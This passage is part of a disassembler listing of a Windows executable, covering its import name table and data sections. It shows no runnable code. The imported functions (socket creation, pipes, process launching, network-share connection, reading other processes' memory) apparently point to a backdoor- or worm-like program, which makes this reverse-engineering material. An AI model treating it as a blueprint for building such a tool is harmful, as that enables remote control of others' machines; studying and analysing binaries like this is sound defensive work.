dword_4F54EC dd 77E6D706h ; DATA XREF: __raise_exc+35Ar
; .text:0043AEB4r ...
dd 0
dword_4F54F4 dd 71B2ACCBh ; DATA XREF: sub_43AB96r
dd 0
dword_4F54FC dd 71AB4122h ; DATA XREF: sub_4155C6+D4r
; .text:0043AC14r
dword_4F5500 dd 71AB1746h ; DATA XREF: sub_4130E1+1DEr
; .text:0043AC0Er
dword_4F5504 dd 71AB401Ch ; DATA XREF: sub_4130E1+21Br
; sub_4130E1+243r ...
dword_4F5508 dd 71AB1836h ; DATA XREF: sub_40FA39+6Er
; sub_40FAB6+8Er ...
dword_4F550C dd 71AB41DAh ; DATA XREF: sub_40F402+4Ar
; sub_40FA39+15r ...
dword_4F5510 dd 71AB3F8Dh ; DATA XREF: sub_40F402+5Ar
; .text:0043ABF6r
dword_4F5514 dd 71AB155Ah ; DATA XREF: sub_40F402+8Dr
; sub_414146+70r ...
dword_4F5518 dd 71AB3ECEh ; DATA XREF: sub_40F402+B5r
; .text:0043ABEAr
dword_4F551C dd 71AB5DE2h ; DATA XREF: sub_40F402+C9r
; .text:0043ABE4r
dword_4F5520 dd 71AB868Dh ; DATA XREF: sub_40F402+171r
; .text:0043ABDEr
dword_4F5524 dd 71AB5A01h ; DATA XREF: sub_4156AF+20r
; .text:0043AC1Ar
dword_4F5528 dd 71AB12F8h ; DATA XREF: sub_40E8CF+27r
; sub_40EA11+27r ...
dword_4F552C dd 71AB1746h ; DATA XREF: sub_40E8CF+36r
; sub_40EA11+36r ...
dword_4F5530 dd 71AB3E5Dh ; DATA XREF: sub_40E8CF+59r
; sub_40EA11+59r ...
dword_4F5534 dd 71AB5690h ; DATA XREF: sub_40E8CF+6Ar
; sub_40EA11+6Ar ...
dword_4F5538 dd 71AB1A6Dh ; DATA XREF: sub_40E8CF+E0r
; sub_40EA11+E0r ...
dword_4F553C dd 71AB3C22h ; DATA XREF: sub_40DB0C+AFr
; sub_40E8CF+45r ...
dword_4F5540 dd 71AB1AF4h ; DATA XREF: sub_40D839+12r
; sub_40E8CF+C3r ...
dword_4F5544 dd 71AB1890h ; DATA XREF: sub_40D69B+4Cr
; sub_40F402+106r ...
dword_4F5548 dd 71AB1B7Bh ; DATA XREF: sub_43ABA2r
dword_4F554C dd 71AB157Eh ; DATA XREF: sub_401CC7+2F9Dr
; .text:0043AB9Cr
dword_4F5550 dd 71AB2BBFh ; DATA XREF: .text:0040EB12r
; .text:0043ABD8r
align 8
db 6
align 2
aWnetaddconne_1 db 'WNetAddConnection2A',0
aMpr_dll_0 db 'MPR.dll',0
aA_2 db 'A',0
aWsasocketa_0 db 'WSASocketA',0
align 4
aWs2_32_dll_0 db 'WS2_32.dll',0
align 10h
db '',0
aExitprocess db 'ExitProcess',0
a4_0 db '4',0
aClosehandle db 'CloseHandle',0
aF_2 db 'f',0
aCreateprocessa db 'CreateProcessA',0
align 2
dw 17Dh
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
db 0C1h ;
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 356h
aSleep db 'Sleep',0
aO_1 db 'o',0
aCreatethread db 'CreateThread',0
align 2
aG_1 db '',0
aDeletefilea db 'DeleteFileA',0
dd 704F0286h, 72506E65h, 7365636Fh, 1430073h
aGetcurrentproc db 'GetCurrentProcessId',0
db 71h ; q
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 4
aC_7 db 'C',0
aCopyfilea db 'CopyFileA',0
db 19h
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 15Eh
aGetfileattribu db 'GetFileAttributesA',0
align 4
db 7Fh ;
db 1, 47h, 65h
aTmodulehandlea db 'tModuleHandleA',0
align 10h
db 90h ;
db 3, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 1DFh
aGettickcount db 'GetTickCount',0
align 2
dw 35Fh
aTerminatethrea db 'TerminateThread',0
dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h
dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h
dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h
dd 6C61636Fh, 666E4965h, 416Fh, 654701E9h, 72655674h, 6E6F6973h
dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aS_40 db '',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 224h
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
aB_1 db '',0
aDeletecritical db 'DeleteCriticalSection',0
dw 3A4h
aWritefile db 'WriteFile',0
aO_2 db 'O',0
aCreateeventa db 'CreateEventA',0
align 2
dw 2B5h
aReadfile_0 db 'ReadFile',0
align 2
aS_41 db 'S',0
aCreatefilea db 'CreateFileA',0
dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentpr_0 db 'GetCurrentProcess',0
aE_1 db 'e',0
aCreatepipe db 'CreatePipe',0
align 4
dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db '',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db '',0
aFindnextfilea db 'FindNextFileA',0
db '',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 31Bh
aSetfilepointer db 'SetFilePointer',0
align 4
db 0EEh ;
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 8Eh ;
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 0FCh
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 173h
aGetlocaltime db 'GetLocalTime',0
align 2
dw 2A3h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 0A4h ;
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironment db 'GetEnvironmentVariableW',0
db 16h
db 2, 48h, 65h
aApfree db 'apFree',0
align 4
db 10h
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 0A3h ;
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 389h
aVirtualqueryex db 'VirtualQueryEx',0
align 4
db 0B8h ;
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h
dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp db 'CreateFileMappingA',0
align 10h
db 1Fh
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 165h
aGetfiletime db 'GetFileTime',0
db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 94h ;
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 275h
aMultibytetowid db 'MultiByteToWideChar',0
db 0C3h ;
db 3, 6Ch, 73h
aTrcmpia db 'trcmpiA',0
db 5Ah ; Z
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 291h
aPeeknamedpipe db 'PeekNamedPipe',0
dw 178h
aGetlogicaldr_0 db 'GetLogicalDrives',0
align 2
dw 204h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
db 36h ; 6
db 2, 49h, 73h
aBadwriteptr db 'BadWritePtr',0
db 33h ; 3
db 2, 49h, 73h
aBadreadptr db 'BadReadPtr',0
align 10h
db 20h
db 2, 48h, 65h
aApvalidate db 'apValidate',0
align 10h
db 0D7h ;
db 2, 52h, 74h
aLunwind db 'lUnwind',0
db 0E2h ;
db 1, 47h, 65h
aTtimezoneinfor db 'tTimeZoneInformation',0
align 2
dw 1C8h
aGetsystemtime db 'GetSystemTime',0
dw 228h
aInterlockeddec db 'InterlockedDecrement',0
align 2
dw 22Ch
aInterlockedinc db 'InterlockedIncrement',0
align 2
dw 1B7h
aGetstartupinfo db 'GetStartupInfoA',0
dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h
dd 56746547h, 69737265h, 6E6Fh, 65440078h, 42677562h, 6B616572h
dd 1B90000h, 53746547h, 61486474h, 656C646Eh, 28D0000h
aOutputdebugstr db 'OutputDebugStringA',0
align 4
db 23h ; #
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
db '',0
aFatalappexita db 'FatalAppExitA',0
db 1Ah
db 2, 48h, 65h
aAprealloc db 'apReAlloc',0
dw 383h
aVirtualfree db 'VirtualFree',0
db 81h ;
db 3, 56h, 69h
aRtualalloc db 'rtualAlloc',0
align 4
db 58h ; X
db 1, 47h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
dw 214h
aHeapdestroy db 'HeapDestroy',0
dd 65480212h, 72437061h, 65746165h, 1460000h
aGetcurrentthre db 'GetCurrentThreadId',0
align 10h
dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h
dd 636F6C6Ch, 3640000h, 46736C54h, 656572h, 65530328h
dd 73614C74h, 72724574h, 726Fh, 6C540365h, 74654773h, 756C6156h
dd 1450065h, 43746547h, 65727275h, 6854746Eh, 64616572h
dd 1040000h, 43746547h, 666E4950h, 0FD006Fh, 41746547h
dd 5043h, 65470193h, 4D454F74h, 5043h, 615202A7h, 45657369h
dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h
dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h
dd 36E0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
dw 0F6h
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 0F7h ;
align 2
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 155h
aGetenvironme_0 db 'GetEnvironmentStrings',0
dw 157h
aGetenvironme_1 db 'GetEnvironmentStringsW',0
align 4
db 24h ; $
db 3, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 166h
aGetfiletype db 'GetFileType',0
db 37h ; 7
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
aU_1 db '',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 10h
db 0BAh ;
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1BDh
aGetstringtypew db 'GetStringTypeW',0
align 4
db 4Ah ; J
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 230h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 241h
aIsvalidlocale db 'IsValidLocale',0
dw 23Fh
aIsvalidcodepag db 'IsValidCodePage',0
aP_1 db '',0
aEnumsystemloca db 'EnumSystemLocalesA',0
align 2
dw 1E3h
aGetuserdefault db 'GetUserDefaultLCID',0
align 10h
dd 65530310h, 646E4574h, 6946664Fh, 656Ch, 65470175h, 636F4C74h
dd 49656C61h, 576F666Eh, 3A0000h, 706D6F43h, 53657261h
dd 6E697274h, 4167h, 6F43003Bh, 7261706Dh, 72745365h, 57676E69h
dd 3130000h
aSetenvironment db 'SetEnvironmentVariableA',0
aKernel32_dll_0 db 'KERNEL32.dll',0
align 2
_idata ends
; Section 6. (virtual address 000FC000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000FB200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4FC000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start